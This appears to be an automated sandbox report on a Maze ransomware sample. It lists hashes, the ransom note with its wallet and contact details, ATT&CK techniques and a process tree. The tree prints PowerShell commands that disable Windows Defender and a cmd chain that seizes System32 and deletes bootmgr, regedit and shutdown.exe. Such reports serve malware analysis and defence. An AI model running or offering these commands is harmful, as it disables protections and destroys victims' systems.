maze | 4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8

Analysis

max time kernel
79s
max time network
136s
platform
windows10_x64
resource
win10-en
submitted
05-09-2021 05:02

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General

Target

b53415f6_lcvDB3iF4J.exe
Size

7.4MB
MD5

b53415f6d38ce4831cbf327daf5201b4
SHA1

778d6f976e10d201903c76adcd18f14e685a3704
SHA256

4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
SHA512

0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

Wallets

bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
888	VSSVC.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SuspendUpdate.crw => C:\Users\Admin\Pictures\SuspendUpdate.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\UninstallReceive.crw => C:\Users\Admin\Pictures\UninstallReceive.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\BackupSync.png => C:\Users\Admin\Pictures\BackupSync.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ExportConfirm.crw => C:\Users\Admin\Pictures\ExportConfirm.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\RedoFormat.raw => C:\Users\Admin\Pictures\RedoFormat.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\SelectRedo.crw => C:\Users\Admin\Pictures\SelectRedo.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
4760	takeown.exe
4776	icacls.exe
3556	takeown.exe
4796	icacls.exe
2056	takeown.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2056	takeown.exe
4760	takeown.exe
4776	icacls.exe
3556	takeown.exe
4796	icacls.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/716-116-0x0000000000F80000-0x0000000000F81000-memory.dmp	themida
behavioral2/files/0x000600000001ab20-130.dat	themida
behavioral2/files/0x000600000001ab20-131.dat	themida
behavioral2/memory/888-155-0x0000000000E50000-0x0000000000E51000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
716	b53415f6_lcvDB3iF4J.exe
888	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3672	powershell.exe
4072	powershell.exe
2140	powershell.exe
2236	powershell.exe
3672	powershell.exe
4072	powershell.exe
2140	powershell.exe
2236	powershell.exe
4072	powershell.exe
3672	powershell.exe
2140	powershell.exe
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	716	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	716	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	888	VSSVC.exe
Token: SeDebugPrivilege	888	VSSVC.exe
Token: SeTakeOwnershipPrivilege	4760	takeown.exe
Token: SeTakeOwnershipPrivilege	3556	takeown.exe
Token: SeTakeOwnershipPrivilege	2056	takeown.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 3672	716	b53415f6_lcvDB3iF4J.exe	77
PID 716 wrote to memory of 3672	716	b53415f6_lcvDB3iF4J.exe	77
PID 716 wrote to memory of 3672	716	b53415f6_lcvDB3iF4J.exe	77
PID 716 wrote to memory of 4072	716	b53415f6_lcvDB3iF4J.exe	76
PID 716 wrote to memory of 4072	716	b53415f6_lcvDB3iF4J.exe	76
PID 716 wrote to memory of 4072	716	b53415f6_lcvDB3iF4J.exe	76
PID 716 wrote to memory of 2140	716	b53415f6_lcvDB3iF4J.exe	83
PID 716 wrote to memory of 2140	716	b53415f6_lcvDB3iF4J.exe	83
PID 716 wrote to memory of 2140	716	b53415f6_lcvDB3iF4J.exe	83
PID 716 wrote to memory of 2236	716	b53415f6_lcvDB3iF4J.exe	79
PID 716 wrote to memory of 2236	716	b53415f6_lcvDB3iF4J.exe	79
PID 716 wrote to memory of 2236	716	b53415f6_lcvDB3iF4J.exe	79
PID 716 wrote to memory of 888	716	b53415f6_lcvDB3iF4J.exe	84
PID 716 wrote to memory of 888	716	b53415f6_lcvDB3iF4J.exe	84
PID 716 wrote to memory of 888	716	b53415f6_lcvDB3iF4J.exe	84
PID 888 wrote to memory of 4340	888	VSSVC.exe	88
PID 888 wrote to memory of 4340	888	VSSVC.exe	88
PID 888 wrote to memory of 4340	888	VSSVC.exe	88
PID 4340 wrote to memory of 4760	4340	cmd.exe	90
PID 4340 wrote to memory of 4760	4340	cmd.exe	90
PID 4340 wrote to memory of 4760	4340	cmd.exe	90
PID 4340 wrote to memory of 4776	4340	cmd.exe	91
PID 4340 wrote to memory of 4776	4340	cmd.exe	91
PID 4340 wrote to memory of 4776	4340	cmd.exe	91
PID 4340 wrote to memory of 3556	4340	cmd.exe	92
PID 4340 wrote to memory of 3556	4340	cmd.exe	92
PID 4340 wrote to memory of 3556	4340	cmd.exe	92
PID 4340 wrote to memory of 4796	4340	cmd.exe	93
PID 4340 wrote to memory of 4796	4340	cmd.exe	93
PID 4340 wrote to memory of 4796	4340	cmd.exe	93
PID 4340 wrote to memory of 2056	4340	cmd.exe	94
PID 4340 wrote to memory of 2056	4340	cmd.exe	94
PID 4340 wrote to memory of 2056	4340	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4072
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4760
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4776
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4796
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/716-126-0x0000000003180000-0x0000000003181000-memory.dmp

Filesize
4KB

Download
memory/716-121-0x0000000005890000-0x0000000005891000-memory.dmp

Filesize
4KB

Download
memory/716-120-0x0000000077550000-0x00000000776DE000-memory.dmp

Filesize
1.6MB

Download
memory/716-119-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/716-118-0x0000000005CE0000-0x0000000005CE1000-memory.dmp

Filesize
4KB

Download
memory/716-116-0x0000000000F80000-0x0000000000F81000-memory.dmp

Filesize
4KB

Download
memory/888-173-0x0000000005ED0000-0x00000000063CE000-memory.dmp

Filesize
5.0MB

Download
memory/888-155-0x0000000000E50000-0x0000000000E51000-memory.dmp

Filesize
4KB

Download
memory/888-171-0x0000000077550000-0x00000000776DE000-memory.dmp

Filesize
1.6MB

Download
memory/2140-262-0x0000000004283000-0x0000000004284000-memory.dmp

Filesize
4KB

Download
memory/2140-221-0x000000007EFF0000-0x000000007EFF1000-memory.dmp

Filesize
4KB

Download
memory/2140-218-0x00000000089C0000-0x00000000089F3000-memory.dmp

Filesize
204KB

Download
memory/2140-167-0x0000000004282000-0x0000000004283000-memory.dmp

Filesize
4KB

Download
memory/2140-154-0x0000000004280000-0x0000000004281000-memory.dmp

Filesize
4KB

Download
memory/2236-469-0x0000000006D53000-0x0000000006D54000-memory.dmp

Filesize
4KB

Download
memory/2236-207-0x00000000090A0000-0x00000000090A1000-memory.dmp

Filesize
4KB

Download
memory/2236-170-0x0000000006D52000-0x0000000006D53000-memory.dmp

Filesize
4KB

Download
memory/2236-162-0x0000000006D50000-0x0000000006D51000-memory.dmp

Filesize
4KB

Download
memory/2236-211-0x00000000090F0000-0x00000000090F1000-memory.dmp

Filesize
4KB

Download
memory/2236-206-0x0000000009320000-0x0000000009321000-memory.dmp

Filesize
4KB

Download
memory/3672-263-0x00000000068E3000-0x00000000068E4000-memory.dmp

Filesize
4KB

Download
memory/3672-134-0x0000000004260000-0x0000000004261000-memory.dmp

Filesize
4KB

Download
memory/3672-181-0x0000000007AD0000-0x0000000007AD1000-memory.dmp

Filesize
4KB

Download
memory/3672-225-0x000000007F880000-0x000000007F881000-memory.dmp

Filesize
4KB

Download
memory/3672-159-0x0000000006D70000-0x0000000006D71000-memory.dmp

Filesize
4KB

Download
memory/3672-163-0x00000000076C0000-0x00000000076C1000-memory.dmp

Filesize
4KB

Download
memory/3672-178-0x0000000006E80000-0x0000000006E81000-memory.dmp

Filesize
4KB

Download
memory/3672-137-0x0000000006F20000-0x0000000006F21000-memory.dmp

Filesize
4KB

Download
memory/3672-153-0x0000000007650000-0x0000000007651000-memory.dmp

Filesize
4KB

Download
memory/3672-151-0x00000000068E2000-0x00000000068E3000-memory.dmp

Filesize
4KB

Download
memory/3672-150-0x00000000068E0000-0x00000000068E1000-memory.dmp

Filesize
4KB

Download
memory/4072-261-0x0000000004693000-0x0000000004694000-memory.dmp

Filesize
4KB

Download
memory/4072-146-0x0000000006E40000-0x0000000006E41000-memory.dmp

Filesize
4KB

Download
memory/4072-152-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/4072-157-0x0000000004692000-0x0000000004693000-memory.dmp

Filesize
4KB

Download
memory/4072-184-0x0000000008120000-0x0000000008121000-memory.dmp

Filesize
4KB

Download
memory/4072-229-0x000000007E680000-0x000000007E681000-memory.dmp

Filesize
4KB

Download